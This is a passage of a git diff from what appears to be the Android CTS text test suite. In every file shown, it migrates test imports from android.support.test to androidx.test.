 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/LoginFilterTest.java b/tests/tests/text/src/android/text/cts/LoginFilterTest.java
index 855823a..058c350 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilterTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilterTest.java
@@ -27,14 +27,15 @@
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.LoginFilter;
 import android.text.LoginFilter.UsernameFilterGeneric;
 import android.text.SpannableString;
 import android.text.Spanned;
 import android.text.SpannedString;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java b/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java
index 1f02481..fa8d0de 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.LoginFilter.PasswordFilterGMail;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java
index fd196b8..e6ee8cf 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.LoginFilter.UsernameFilterGMail;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java
index 68cc840..5bcca8d 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.LoginFilter.UsernameFilterGeneric;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/MyanmarTest.java b/tests/tests/text/src/android/text/cts/MyanmarTest.java
index 916b451..81060af 100644
--- a/tests/tests/text/src/android/text/cts/MyanmarTest.java
+++ b/tests/tests/text/src/android/text/cts/MyanmarTest.java
@@ -21,13 +21,14 @@
 import android.content.Context;
 import android.content.res.Resources;
 import android.graphics.Bitmap;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java b/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
index 9491eff..657b393 100644
--- a/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
+++ b/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
@@ -29,9 +29,6 @@
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.graphics.Typeface;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
 import android.text.PrecomputedText;
 import android.text.PrecomputedText.Params;
@@ -44,6 +41,10 @@
 import android.text.style.LocaleSpan;
 import android.text.style.TextAppearanceSpan;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/SelectionTest.java b/tests/tests/text/src/android/text/cts/SelectionTest.java
index 56d5fc0..05b9308 100644
--- a/tests/tests/text/src/android/text/cts/SelectionTest.java
+++ b/tests/tests/text/src/android/text/cts/SelectionTest.java
@@ -21,8 +21,6 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
 import android.text.Selection;
 import android.text.SpanWatcher;
@@ -31,6 +29,9 @@
 import android.text.StaticLayout;
 import android.text.TextPaint;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java b/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java
index dfabe71..5eda801 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java
@@ -20,8 +20,6 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Html;
 import android.text.Layout;
 import android.text.SpanWatcher;
@@ -35,6 +33,9 @@
 import android.text.style.ParagraphStyle;
 import android.text.style.QuoteSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
index b8f3f42..b3241e6 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
@@ -23,8 +23,6 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.InputFilter;
 import android.text.Selection;
@@ -38,6 +36,9 @@
 import android.text.style.TabStopSpan;
 import android.text.style.UnderlineSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringTest.java b/tests/tests/text/src/android/text/cts/SpannableStringTest.java
index 3771613..0c13097 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringTest.java
@@ -21,8 +21,6 @@
 import static junit.framework.Assert.assertSame;
 import static junit.framework.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
@@ -34,6 +32,9 @@
 import android.text.style.QuoteSpan;
 import android.text.style.UnderlineSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java b/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java
index 4969e67..98fe9f0 100644
--- a/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java
+++ b/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java
@@ -21,12 +21,13 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Spannable;
 import android.text.Spannable.Factory;
 import android.text.SpannableString;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/SpannedStringTest.java b/tests/tests/text/src/android/text/cts/SpannedStringTest.java
index ccdb119..f09828c 100644
--- a/tests/tests/text/src/android/text/cts/SpannedStringTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannedStringTest.java
@@ -21,10 +21,11 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannedString;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/SpannedTest.java b/tests/tests/text/src/android/text/cts/SpannedTest.java
index 12ebfed..4d5ac59 100644
--- a/tests/tests/text/src/android/text/cts/SpannedTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannedTest.java
@@ -19,8 +19,6 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Spannable;
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
@@ -30,6 +28,9 @@
 import android.text.style.QuoteSpan;
 import android.text.style.UnderlineSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
index adb8f97..42d9b3a 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
@@ -18,11 +18,8 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.content.Context;;
+import android.content.Context;
 import android.graphics.Typeface;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
 import android.text.Layout.Alignment;
 import android.text.SpannableStringBuilder;
@@ -33,6 +30,10 @@
 import android.text.style.MetricAffectingSpan;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 17455e0..05fc9e6 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,10 +33,6 @@
 import android.graphics.Paint.FontMetricsInt;
 import android.graphics.Typeface;
 import android.os.LocaleList;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.filters.Suppress;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Layout;
 import android.text.Layout.Alignment;
@@ -56,6 +52,11 @@
 import android.text.style.StyleSpan;
 import android.text.style.TextAppearanceSpan;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.filters.Suppress;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/TextUtilsTest.java b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
index 0b4f625..92e2321 100644
--- a/tests/tests/text/src/android/text/cts/TextUtilsTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
@@ -39,9 +39,6 @@
 import android.os.LocaleList;
 import android.os.Parcel;
 import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.GetChars;
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
@@ -56,6 +53,10 @@
 import android.text.style.URLSpan;
 import android.util.StringBuilderPrinter;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java b/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java
index 7993f58..3375d89 100644
--- a/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java
@@ -22,10 +22,11 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils.SimpleStringSplitter;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
index 3715c61..98c1e52 100644
--- a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
@@ -29,12 +29,13 @@
 import android.os.LocaleList;
 import android.os.ParcelFileDescriptor;
 import android.provider.Settings;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.format.DateFormat;
 
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
diff --git a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
index a3d4806..fc4ef5a 100644
--- a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
@@ -23,11 +23,12 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.format.DateUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/format/cts/FormatterTest.java b/tests/tests/text/src/android/text/format/cts/FormatterTest.java
index 8c7fdc9..02312cb 100644
--- a/tests/tests/text/src/android/text/format/cts/FormatterTest.java
+++ b/tests/tests/text/src/android/text/format/cts/FormatterTest.java
@@ -21,11 +21,12 @@
 import android.content.Context;
 import android.content.res.Configuration;
 import android.os.LocaleList;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.format.Formatter;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/format/cts/TimeTest.java b/tests/tests/text/src/android/text/format/cts/TimeTest.java
index 0d9673a..267b705 100644
--- a/tests/tests/text/src/android/text/format/cts/TimeTest.java
+++ b/tests/tests/text/src/android/text/format/cts/TimeTest.java
@@ -23,12 +23,13 @@
 
 import android.content.res.Configuration;
 import android.content.res.Resources;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.format.Time;
 import android.util.Log;
 import android.util.TimeFormatException;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java
index 7057913..1618bba 100644
--- a/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java
@@ -26,11 +26,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Selection;
 import android.text.Spannable;
@@ -46,6 +41,12 @@
 import android.widget.TextView;
 import android.widget.TextView.BufferType;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/method/cts/BackspaceTest.java b/tests/tests/text/src/android/text/method/cts/BackspaceTest.java
index 0de7c6a..46f9582 100644
--- a/tests/tests/text/src/android/text/method/cts/BackspaceTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BackspaceTest.java
@@ -18,13 +18,14 @@
 
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.method.BaseKeyListener;
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java
index 91618b9..df92bfd 100644
--- a/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java
@@ -21,8 +21,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.os.SystemClock;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.InputType;
 import android.text.Selection;
@@ -33,6 +31,9 @@
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
index d569b60..f98ffcc 100644
--- a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
@@ -27,11 +27,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Spannable;
 import android.text.method.BaseMovementMethod;
 import android.view.InputDevice;
@@ -43,6 +38,12 @@
 import android.widget.FrameLayout;
 import android.widget.TextView;
 
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java b/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java
index fda8469..32db8cc 100644
--- a/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java
+++ b/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java
@@ -21,16 +21,17 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Selection;
 import android.text.method.CharacterPickerDialog;
 import android.view.View;
 import android.widget.Gallery;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java
index 16f632c..03675f2 100644
--- a/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java
@@ -22,12 +22,13 @@
 import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertSame;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.method.DateKeyListener;
 import android.view.KeyEvent;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java
index decd451..b1a0642 100644
--- a/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java
@@ -22,13 +22,14 @@
 import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertSame;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.method.DateTimeKeyListener;
 import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java
index 7808824..b7bb93e 100644
--- a/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java
@@ -22,14 +22,15 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.Spannable;
 import android.text.SpannableString;
 import android.text.method.DialerKeyListener;
 import android.view.KeyEvent;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java
index 7854268..7f56388 100644
--- a/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java
@@ -24,8 +24,6 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -33,6 +31,9 @@
 import android.text.method.DigitsKeyListener;
 import android.view.KeyEvent;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java b/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java
index bf56cb8..8598582 100644
--- a/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java
@@ -18,13 +18,14 @@
 
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.method.BaseKeyListener;
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java
index df48458..f3fff71 100644
--- a/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java
@@ -20,10 +20,11 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertSame;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.method.HideReturnsTransformationMethod;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java b/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java
index 36f92e2..9340957 100644
--- a/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java
+++ b/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java
@@ -23,14 +23,15 @@
 import android.content.ContentResolver;
 import android.content.Context;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
 import android.text.cts.R;
 import android.text.method.KeyListener;
 import android.util.Log;
 import android.view.KeyEvent;
 import android.widget.EditText;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
 
diff --git a/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java
index 069b274..02b7e95 100644
--- a/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java
@@ -30,11 +30,6 @@
 
 import android.app.Activity;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Selection;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -49,6 +44,12 @@
 import android.widget.TextView;
 import android.widget.TextView.BufferType;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
index f1dd4d9..724d895 100644
--- a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
@@ -25,8 +25,6 @@
 import static org.mockito.Mockito.spy;
 import static org.mockito.Mockito.verify;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Selection;
 import android.text.Spannable;
@@ -38,6 +36,9 @@
 import android.view.View;
 import android.widget.ImageView;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java
index 206c6a5..06080ba 100644
--- a/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java
@@ -28,8 +28,6 @@
 import static org.mockito.Mockito.spy;
 import static org.mockito.Mockito.verify;
 
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.Selection;
 import android.text.Spannable;
@@ -39,6 +37,9 @@
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
